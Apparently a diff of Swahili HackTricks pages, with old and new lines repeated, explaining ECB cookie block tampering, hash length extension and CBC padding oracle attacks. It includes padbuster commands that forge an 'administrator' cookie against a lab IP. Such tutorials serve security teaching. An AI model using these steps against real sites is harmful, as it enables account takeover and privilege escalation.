| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# Utekaji wa udhaifu
|
||||
# Kutumia Udhaifu
|
||||
|
||||
## Kuondoa vikundi vyote
|
||||
## Kuondoa vipande vyote
|
||||
|
||||
Kwa kujua muundo wa kidakuzi (`<jina la mtumiaji>|<nenosiri>`), ili kujifanya kuwa jina la mtumiaji `admin`, tumia mtumiaji mpya aliyeitwa `aaaaaaaaadmin` na pata kidakuzi na kudecode:
|
||||
Kwa kujua muundo wa kuki (`<jina la mtumiaji>|<nywila>`), ili kujifanya kuwa jina la mtumiaji `admin` tengeneza mtumiaji mpya aitwaye `aaaaaaaaadmin` na pata kuki na uidecode:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
Tunaweza kuona mfano `\x23U\xE45K\xCB\x21\xC8` uliotengenezwa hapo awali na jina la mtumiaji ambalo lilikuwa na `a` pekee.\
|
||||
Kisha, unaweza kuondoa kibodi ya kwanza ya 8B na utapata kuki halali kwa jina la mtumiaji `admin`:
|
||||
Tunaweza kuona mfano `\x23U\xE45K\xCB\x21\xC8` ulioanzishwa awali na jina la mtumiaji lililokuwa na `a` pekee.\
|
||||
Kisha, unaweza kuondoa kibodi cha kwanza cha 8B na utapata kuki halali kwa jina la mtumiaji `admin`:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## Kuhamisha vitengo
|
||||
|
||||
Katika database nyingi, ni sawa kutafuta `WHERE username='admin';` au `WHERE username='admin ';` _(Tafadhali kumbuka nafasi za ziada)_
|
||||
Katika mifumo mingi ya maktaba, ni sawa kutafuta `WHERE username='admin';` au `WHERE username='admin ';` _(Kumbuka nafasi za ziada)_
|
||||
|
||||
Kwa hivyo, njia nyingine ya kujifanya kuwa mtumiaji `admin` itakuwa:
|
||||
|
||||
* Tengeneza jina la mtumiaji ambalo: `len(<username>) + len(<delimiter) % len(block)`. Kwa ukubwa wa vitengo wa `8B` unaweza kutengeneza jina la mtumiaji linaloitwa: `username `, na kipengee cha kugawanya `|` kipande `<username><delimiter>` kitazalisha vitengo 2 vya 8Bs.
|
||||
* Kisha, tengeneza nenosiri ambalo litajaza idadi kamili ya vitengo vinavyo zaweza jina la mtumiaji tunayotaka kujifanya kuwa ni nafasi, kama vile: `admin `
|
||||
* Tengeneza jina la mtumiaji ambalo: `len(<username>) + len(<delimiter) % len(block)`. Kwa saizi ya kibodi ya `8B` unaweza kutengeneza jina la mtumiaji linaloitwa: `username `, na kizuizi `|` kipande `<username><delimiter>` kitazalisha vitengo 2 vya 8Bs.
|
||||
* Kisha, tengeneza nenosiri litakaloweka idadi kamili ya vitengo vinavyoleta pamoja jina la mtumiaji tunayetaka kujifanya kuwa yeye na nafasi, kama: `admin `
|
||||
|
||||
Kidakuzi cha mtumiaji huyu kitajumuisha vitengo 3: vya kwanza 2 ni vitengo vya jina la mtumiaji + kipengee cha kugawanya na cha tatu ni nenosiri (ambalo linajifanya kuwa jina la mtumiaji): `username |admin `
|
||||
Kuki ya mtumiaji huyu itakuwa imeundwa na vitengo 3: vya kwanza 2 ni vitengo vya jina la mtumiaji + kizuizi na cha tatu ni cha nenosiri (ambacho kinajifanya kuwa jina la mtumiaji): `username |admin `
|
||||
|
||||
**Kisha, tuweke kipengee cha kwanza na cha mwisho na tutakuwa tunajifanya kuwa mtumiaji `admin`: `admin |username`**
|
||||
**Kisha, tuibadilishe kipande cha kwanza na cha mwisho na tutakuwa tukijifanya kuwa mtumiaji `admin`: `admin |username`**
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,40 +1,41 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Muhtasari wa shambulio
|
||||
|
||||
Fikiria server ambayo ina **kutilia sahihi** baadhi ya **data** kwa **kuongeza** **siri** kwa baadhi ya data dhahiri inayojulikana kisha kuhakiki data hiyo. Ikiwa unajua:
|
||||
|
||||
* **Urefu wa siri** (hii inaweza pia kufanywa kwa nguvu kutoka kwa safu ya urefu iliyopewa)
|
||||
* **Urefu wa siri** (hii inaweza pia kufanywa kwa nguvu kutoka kwa safu ya urefu uliopewa)
|
||||
* **Data dhahiri**
|
||||
* **Algoritimu (na inayoweza kushambuliwa na shambulio hili)**
|
||||
* **Algoritimu (na ni dhaifu kwa shambulio hili)**
|
||||
* **Kujaza inajulikana**
|
||||
* Kawaida moja ya msingi hutumiwa, hivyo ikiwa mahitaji mengine 3 yanakidhiwa, hii pia inatumika
|
||||
* Kujaza hubadilika kulingana na urefu wa siri+data, ndio sababu urefu wa siri unahitajika
|
||||
* Kawaida moja ya msingi hutumiwa, hivyo ikiwa mahitaji mengine 3 yanakidhiwa, hii pia inafaa
|
||||
* Kujaza hubadilika kulingana na urefu wa siri+data, ndio maana urefu wa siri unahitajika
|
||||
|
||||
Basi, ni rahisi kwa **mshambuliaji** kuongeza **data** na **kuzalisha** sahihi **kwa data iliyopita + data iliyongezwa**.
|
||||
Basi, ni rahisi kwa **mshambuliaji** kuongeza **data** na **kuzalisha** sahihi **ya awali + data iliyongezwa**.
|
||||
|
||||
## Vipi?
|
||||
|
||||
Kimsingi, algorithm zinazoweza kushambuliwa huzalisha hashes kwa kwanza **kutia hash kwa kibodi cha data**, na kisha, **kutoka** kwa **hash iliyoundwa hapo awali** (hali), wan **ongeza kibodi inayofuata ya data** na **kuitia hash**.
|
||||
Kimsingi, algorithm dhaifu huzalisha hashes kwa kwanza **kutia hash kibodi cha data**, na kisha, **kutoka** kwa **hash iliyoundwa awali** (hali), wan **ongeza kibodi inayofuata ya data** na **kuitia hash**.
|
||||
|
||||
Kisha, fikiria kwamba siri ni "siri" na data ni "data", MD5 ya "secretdata" ni 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Ikiwa mshambuliaji anataka kuongeza herufi "ongeza" anaweza:
|
||||
|
||||
* Kuzalisha MD5 ya 64 "A"s
|
||||
* Badilisha hali ya hash iliyoundwa hapo awali kuwa 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Badilisha hali ya hash iliyoundwa awali kuwa 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Ongeza herufi "ongeza"
|
||||
* Maliza hash na hash inayotokana itakuwa **sahihi kwa "siri" + "data" + "kujaza" + "ongeza"**
|
||||
|
||||
|
|
@ -44,19 +45,20 @@ Ikiwa mshambuliaji anataka kuongeza herufi "ongeza" anaweza:
|
|||
|
||||
## Marejeo
|
||||
|
||||
Unaweza kupata shambulio hili likielezewa vizuri katika [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Unaweza kupata shambulio hili limeelezewa vizuri katika [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,81 +1,82 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
Katika mode ya CBC, **block iliyotangulia iliyofichwa hutumiwa kama IV** ya XOR na block inayofuata:
|
||||
Katika modi ya CBC **block iliyotangulia iliyofichwa hutumiwa kama IV** ya XOR na block inayofuata:
|
||||
|
||||
|
||||
|
||||
Kwa kufichua CBC, **operesheni za kinyume** zinafanywa:
|
||||
Kufichua CBC **operesheni za kinyume** hufanywa:
|
||||
|
||||
|
||||
|
||||
Tambua jinsi inavyohitajika kutumia **funguo za kufichua** na **IV**.
|
||||
Tambua jinsi inavyohitajika kutumia **ufunguo wa kufichua** na **IV**.
|
||||
|
||||
# Kupamba Ujumbe
|
||||
# Kupangilia Ujumbe
|
||||
|
||||
Kwa kuwa kufichua kunafanywa kwa **vipande vya ukubwa uliowekwa**, **pamba** kawaida inahitajika kwenye **block ya mwisho** ili kukamilisha urefu wake.\
|
||||
Kawaida **PKCS7** hutumiwa, ambayo inazalisha pamba **inayorudia** **idadi** ya **baiti** **inayohitajika** kukamilisha block. Kwa mfano, ikiwa block ya mwisho inakosa byte 3, pamba itakuwa `\x03\x03\x03`.
|
||||
Kwa kuwa kufichua kunafanywa katika **blocki zenye saizi** **zilizowekwa**, **padding** mara nyingi inahitajika katika **blocki ya mwisho** ili kukamilisha urefu wake.\
|
||||
Kawaida **PKCS7** hutumiwa, ambayo inazalisha padding **inayorudia** **idadi** ya **bayti** **inayohitajika** **kukamilisha** blocki. Kwa mfano, ikiwa blocki ya mwisho inakosa bayti 3, padding itakuwa `\x03\x03\x03`.
|
||||
|
||||
Tuangalie mifano zaidi na **vipande 2 vya urefu wa 8baiti**:
|
||||
Tuangalie mifano zaidi na **blocki 2 zenye urefu wa bayti 8**:
|
||||
|
||||
| namba ya byte #0 | namba ya byte #1 | namba ya byte #2 | namba ya byte #3 | namba ya byte #4 | namba ya byte #5 | namba ya byte #6 | namba ya byte #7 | namba ya byte #0 | namba ya byte #1 | namba ya byte #2 | namba ya byte #3 | namba ya byte #4 | namba ya byte #5 | namba ya byte #6 | namba ya byte #7 |
|
||||
| bayti #0 | bayti #1 | bayti #2 | bayti #3 | bayti #4 | bayti #5 | bayti #6 | bayti #7 | bayti #0 | bayti #1 | bayti #2 | bayti #3 | bayti #4 | bayti #5 | bayti #6 | bayti #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Tambua jinsi katika mfano wa mwisho **block ya mwisho ilikuwa kamili kwa hivyo nyingine ilizalishwa tu na pamba**.
|
||||
Tambua jinsi katika mfano wa mwisho **blocki ya mwisho ilikuwa kamili hivyo nyingine ilizalishwa tu na padding**.
|
||||
|
||||
# Padding Oracle
|
||||
# Oracle ya Padding
|
||||
|
||||
Wakati programu inafichua data iliyofichwa, kwanza itaifichua data; kisha itaondoa pamba. Wakati wa kusafisha pamba, ikiwa **pamba batili inasababisha tabia inayoweza kugundulika**, una **mdudu wa padding oracle**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **majibu polepole**.
|
||||
Wakati programu inafichua data iliyofichwa, kwanza itaifichua data; kisha itaondoa padding. Wakati wa kusafisha padding, ikiwa **padding batili inachochea tabia inayoweza kugundulika**, una **udhaifu wa oracle ya padding**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **jibu polepole**.
|
||||
|
||||
Ikiwa unagundua tabia hii, unaweza **kufichua data iliyofichwa** na hata **kuficha maandishi wazi yoyote**.
|
||||
Ukigundua tabia hii, unaweza **kufichua data iliyofichwa** na hata **kuficha maandishi wazi**.
|
||||
|
||||
## Jinsi ya kufaidika
|
||||
## Jinsi ya kutumia
|
||||
|
||||
Unaweza kutumia [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kufaidika na aina hii ya mdudu au tu fanya
|
||||
Unaweza kutumia [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kudukua aina hii ya udhaifu au tu fanya
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Ili kujaribu kama kuki ya tovuti ina kasoro, unaweza kujaribu:
|
||||
Ili kujaribu kama kuki ya tovuti ina mapungufu unaweza kujaribu:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Ukodishaji 0** una maana kwamba **base64** inatumika (lakini nyingine zinapatikana, angalia menyu ya msaada).
|
||||
**Ukodishaji 0** maana yake **base64** inatumika (ingawa nyingine zinapatikana, angalia menyu ya msaada).
|
||||
|
||||
Unaweza pia **kutumia udhaifu huu kuweka data mpya. Kwa mfano, fikiria kuwa maudhui ya kuki ni "**_**mtumiaji=JinaLanguLaMtumiaji**_**", basi unaweza kubadilisha kuwa "\_mtumiaji=msimamizi\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo kwa kutumia `paduster` ukitaja -plaintext** kama parameter:
|
||||
Unaweza pia **kutumia udhaifu huu kwa kuficha data mpya. Kwa mfano, fikiria maudhui ya kuki ni "**_**mtumiaji=JinaLanguLaMtumiaji**_**", basi unaweza kubadilisha kuwa "\_mtumiaji=msimamizi\_" na kuinua mamlaka ndani ya programu. Unaweza pia kufanya hivyo ukitumia `paduster` ukielekeza kipengele cha -plaintext:**
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
Ikiwa tovuti ina kasoro, `padbuster` itajaribu kiotomatiki kupata wakati kosa la padding linatokea, lakini unaweza pia kuonyesha ujumbe wa kosa kwa kutumia kipengele cha **-error**.
|
||||
Ikiwa tovuti ina kasoro, `padbuster` itajaribu moja kwa moja kugundua wakati kosa la padding linatokea, lakini unaweza pia kuashiria ujumbe wa kosa kwa kutumia parameter **-error**.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Nadharia
|
||||
|
||||
Kwa kifupi, unaweza kuanza kufichua data iliyofichwa kwa kudhani thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti** zote. Kisha, shambulio la padding oracle litianza kufichua herufi kutoka mwisho hadi mwanzo kwa kudhani ni thamani ipi sahihi ambayo **inaunda padding ya 1, 2, 3, nk**.
|
||||
Kwa **muhtasari**, unaweza kuanza kufichua data iliyofichwa kwa kudhani thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti** zote. Kisha, shambulio la oracle la padding litianza kufichua bytes kutoka mwisho hadi mwanzo kwa kudhani ni thamani sahihi ambayo **inaunda padding ya 1, 2, 3, nk**.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Fikiria una maandishi yaliyofichwa ambayo yanachukua **vikundi 2** vilivyoundwa na herufi kutoka **E0 hadi E15**.\
|
||||
Ili **kufichua** **kikundi** **cha mwisho** (**E8** hadi **E15**), kikundi kizima kinapitia "ufichuzi wa block cipher" na kuzalisha **herufi za kati I0 hadi I15**.\
|
||||
Hatimaye, kila herufi ya kati inafanyiwa **XOR** na herufi zilizofichwa hapo awali (E0 hadi E7). Hivyo:
|
||||
Fikiria una maandishi yaliyofichwa ambayo yanachukua **vikundi 2** vilivyoundwa na bytes kutoka **E0 hadi E15**.\
|
||||
Ili **kufichua** **kikundi cha mwisho** (**E8** hadi **E15**), kikundi nzima hupitia "ufichuaji wa block cipher" ukizalisha **bytes za kati I0 hadi I15**.\
|
||||
Hatimaye, kila byte ya kati inafanyiwa **XOR** na bytes zilizofichwa hapo awali (E0 hadi E7). Hivyo:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
|
@ -83,42 +84,27 @@ Hatimaye, kila herufi ya kati inafanyiwa **XOR** na herufi zilizofichwa hapo awa
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
Sasa, ni **inawezekana kubadilisha `E7` hadi `C15` iwe `0x01`**, ambayo pia itakuwa padding sahihi. Kwa hivyo, katika kesi hii: `\x01 = I15 ^ E'7`
|
||||
Sasa, Inawezekana **kurekebisha `E7` hadi `C15` iwe `0x01`**, ambayo pia itakuwa padding sahihi. Hivyo, katika kesi hii: `\x01 = I15 ^ E'7`
|
||||
|
||||
Kwa hivyo, kwa kupata E'7, ni **inawezekana kuhesabu I15**: `I15 = 0x01 ^ E'7`
|
||||
Hivyo, kwa kupata E'7, ni **inawezekana kuhesabu I15**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Hii inaturuhusu kuhesabu C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
Hii inaruhusu sisi **kuhesabu C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Kwa kujua **C15**, sasa ni **inawezekana kuhesabu C14**, lakini wakati huu kwa kubadilisha padding `\x02\x02`.
|
||||
|
||||
BF hii ni ngumu kama ile ya awali kwani inawezekana kuhesabu E''15 ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` kwa hivyo inahitajika tu kupata **`E'14`** ambayo inazalisha **`C14` sawa na `0x02`**.\
|
||||
Kisha, fanya hatua sawa za kufichua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
BF hii ni ngumu kama ile ya awali kwani inawezekana kuhesabu **`E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo ni muhimu tu kupata **`E'14`** ambayo inazalisha **`C14` sawa na `0x02`**.\
|
||||
Kisha, fanya hatua sawa kufichua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Fuata mnyororo huu hadi ufichue maandishi yote yaliyofichwa.**
|
||||
|
||||
## Uchunguzi wa udhaifu
|
||||
## Kugundua udhaifu
|
||||
|
||||
Jisajili na akaunti na ingia kwa akaunti hiyo.\
|
||||
Ikiwa unajisajili mara nyingi na daima unapata **cookie ile ile**, kuna uwezekano mkubwa kuna **kitu kibaya** katika programu. Kuki inayotumwa inapaswa kuwa **tofauti** kila wakati unapoingia. Ikiwa kuki **daima** ni **ile ile**, itakuwa inawezekana daima kuwa halali na **hakutakuwa na njia ya kuitengua**.
|
||||
Ikiwa **unaingia mara nyingi** na daima unapata **cookie ile ile**, kuna uwezekano **kitu** **hakiko sawa** katika programu. Cookie inayotumwa inapaswa kuwa **tofauti** kila wakati unapoingia. Ikiwa cookie ni **ile ile daima**, itakuwa inawezekana daima kuwa halali na **hakutakuwa na njia ya kuitengua**.
|
||||
|
||||
Sasa, ikiwa jaribu **kubadilisha** kuki, utaona kuwa unapata **kosa** kutoka kwa programu.\
|
||||
Lakini ikiwa unatumia BF kwenye padding (kwa kutumia padbuster kwa mfano) unaweza kupata kuki nyingine halali kwa mtumiaji tofauti. Hali hii ina uwezekano mkubwa wa kuwa na udhaifu wa padbuster.
|
||||
Sasa, ikiwa jaribu **kurekebisha** **cookie**, utaona unapata **kosa** kutoka kwa programu.\
|
||||
Lakini ikiwa unatumia BF ya padding (kwa kutumia padbuster kwa mfano) unaweza kupata cookie nyingine halali kwa mtumiaji tofauti. Hali hii inawezekana sana kuwa na udhaifu wa padbuster.
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
